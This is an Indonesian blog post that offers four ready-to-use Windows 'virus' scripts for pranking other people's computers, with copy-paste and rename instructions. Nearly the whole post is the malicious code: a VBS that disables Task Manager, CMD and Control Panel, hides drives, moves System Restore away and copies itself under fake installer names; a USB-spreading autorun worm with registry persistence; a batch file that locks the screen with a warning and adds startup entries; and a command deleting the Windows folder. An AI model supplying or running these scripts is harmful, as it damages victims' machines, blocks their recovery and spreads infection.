jangkrik dago

HAI Brow………..! pecinta virus

Gwa pnya virus pke note text ni… ya lmanyan sich bwt jailin kmptr pnya onrg!... tp ingt ,

Lo jngn k seringan jailin orng, tu kan dosa!!!!!!!!!!

Gwa pnya beberpa scrip nya & skaligus nma virus nya. Ntr lo tinggal copy paste ja..

Caranya lo bka text document yg bru, trus copy paste ntr lo ganti nama ekstensi nya sesuai nama virus yg terdapat di atas scrip..!!!!!! met mencba ya Brow!!!!!!!!

@@@@ Ni virus nama nya (dazal.vbs) @@@@

On error resume next

Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner

set Regpen = CreateObject ("Wscript.Shell")

set FSO = CreateObject ("Scripting.FileSystemObject")

set Creator = FSO.CreateTextFile ("C:\Ternate.vbs", true)

Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya, Mr.Dajjal :<" & chr (34)& ")") Creator.Close Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\NoRun","1","REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskMgr","1","RE G_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD","1","REG_DW ORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoFolderOption","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoDrives","16","REG_D WORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoSaveSettings","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoControlPanel","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\NoSetTaskbar","1","REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\Advanced\HideFileExt" ,"1","REG_DWORD" Regpen.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeCaption", "THE Syaithan-X" Regpen.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeText","ASSALAMUALA IKUM, YA AHLIL KUBUR" Set Copier = FSO.GetFile ("C:\Ternate.vbs") Copier.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe.vbs") FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("D:\Program") FSO.CreateFolder ("E:\Program") FSO.CreateFolder ("F:\Program") FSO.CreateFolder ("G:\Program") FSO.CreateFolder ("H:\Program") FSO.CreateFolder ("I:\Program") FSO.CreateFolder ("J:\Program") FSO.CreateFolder ("K:\Program") Set Deleter = FSO.GetFile ("C:\Windows\System32\Restore\rstrui.exe") Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\rstrui.Gnamu") set Dupler = FSO.GetFile (WScript.ScriptFullName) Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\Hantu.vbs") Dupler.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Desktop.ini.vbs") Dupler.Copy ("C:\Documents and Settings\All Users\Desktop\Dajjal_Antivirus.exe.vbs") Dupler.Copy ("C:\Windows\System32\Restore\rstrui.exe.vbs") Dupler.Copy ("D:\Program\MotoGP_SETUP.vbs") Dupler.Copy ("E:\Program\TuneUp2009_SETUP.vbs") Dupler.Copy ("F:\Program\Ansav_SETUP.vbs") Dupler.Copy ("G:\Program\DeltaForce_SETUP.vbs") Dupler.Copy ("H:\Program\DeltaForce_SETUP.vbs") Dupler.Copy ("I:\Program\Ansav_SETUP.vbs") Dupler.Copy ("J:\Program\Project.vbs") Dupler.Copy ("K:\Program\Hantu.vbs") Set Runner = WScript.CreateObject ("WScript.Shell") Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\Hantu.vbs")

@@@@ Ni virus nma nya (erwinda_putra.exe.vbs) @@@@

‘El Magnifico MAN

on error resume next

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd

atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe erwinda_putra.exe.vbs”

set fs = createobject(”Scripting.FileSystemObject”)

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text=mf.openastextstream(1,-2)

do while not text.atendofstream

mysource=mysource&text.readline

mysource=mysource & vbcrlf

loop

do

Set winpath = fs.getspecialfolder(0)

set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)

tf.attributes = 32

set tf=fs.createtextfile(winpath & “\erwinda_putra.exe.vbs”,2,true)

tf.write mysource

tf.close

set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)

tf.attributes = 39

for each flashdrive in fs.drives

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then

set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)

tf.attributes =32

set tf=fs.createtextfile(flashdrive.path &”\erwinda_putra.exe.vbs”,2,true)

tf.write mysource

tf.close

set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)

tf.attributes =39

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes = 32

set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)

tf.write atr

tf.close

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes=39

end if

next

set rg = createobject(”WScript.Shell”)

rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\erwinda_putra.exe.vbs”

rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,”"

rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3?

if check 1 then

Wscript.sleep 100000

end if

loop while check1

set sd = createobject(”Wscript.shell”)

sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

do while year(now) >= 2008

WScript.sleep 20000

msgbox “salamaik tibo di virus camp_luck” & vbcrlf & _

“ondeh sanak maaf stek yo awak masuak ka sistem sanak anok-anok” & vbcrlf & _

“dunsanak komputer dunsanak awak kuasai stek dih. kini dunsanak masuak dalam permainan suruak manyuruan” & vbcrlf & _

“iko permainan yang paten ma dunsanak” & vbcrlf & _

vbcrlf & vbcrlf & _

” elok-elok selah dih dunsanak beko tajadi yang indak-indak ko” & vbcrlf & vbcrlf & _

” aaa kini saaiknyo ma dunsanak”

Loop

@@@@ Ni virus nama nya (jangkrik.bat) @@@@

@echo off

copy 8B5G0020.bmp %systemdrive%\ /y

copy 8B5G0020.bmp %systemdrive%\WINDOWS\ /y

copy 8B5G0020.bmp %systemdrive%\WINDOWS\system32\ /y

copy mmminstall.exe %systemdrive%\ /y

copy mmminstall.exe %systemdrive%\WINDOWS\ /y

copy mmminstall.exe %systemdrive%\WINDOWS\system32\ /y

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f

reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\8B5G0020.bmp /f

reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f

reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\8B5G0020.bmp /f

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v itil /d %systemdrive%\windows\system32\mmminstall.exe /f

reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000 /f

@@@@ Ni virus nma nya (pembantai.cmd) @@@@

del C:/Windows

nah!!!!! Segitu ja dlu ya……. Ntr gwa up date trus ko tnang ja!!!!!!!!!....

eh tp ingt gwa gk bertnggung jwb apabla kmptr yg lo cba rsk……!!!!! Ok trims…

cara bikin anti virus di plashdisk

jangkrikvirus.com

Read Users' Comments (0)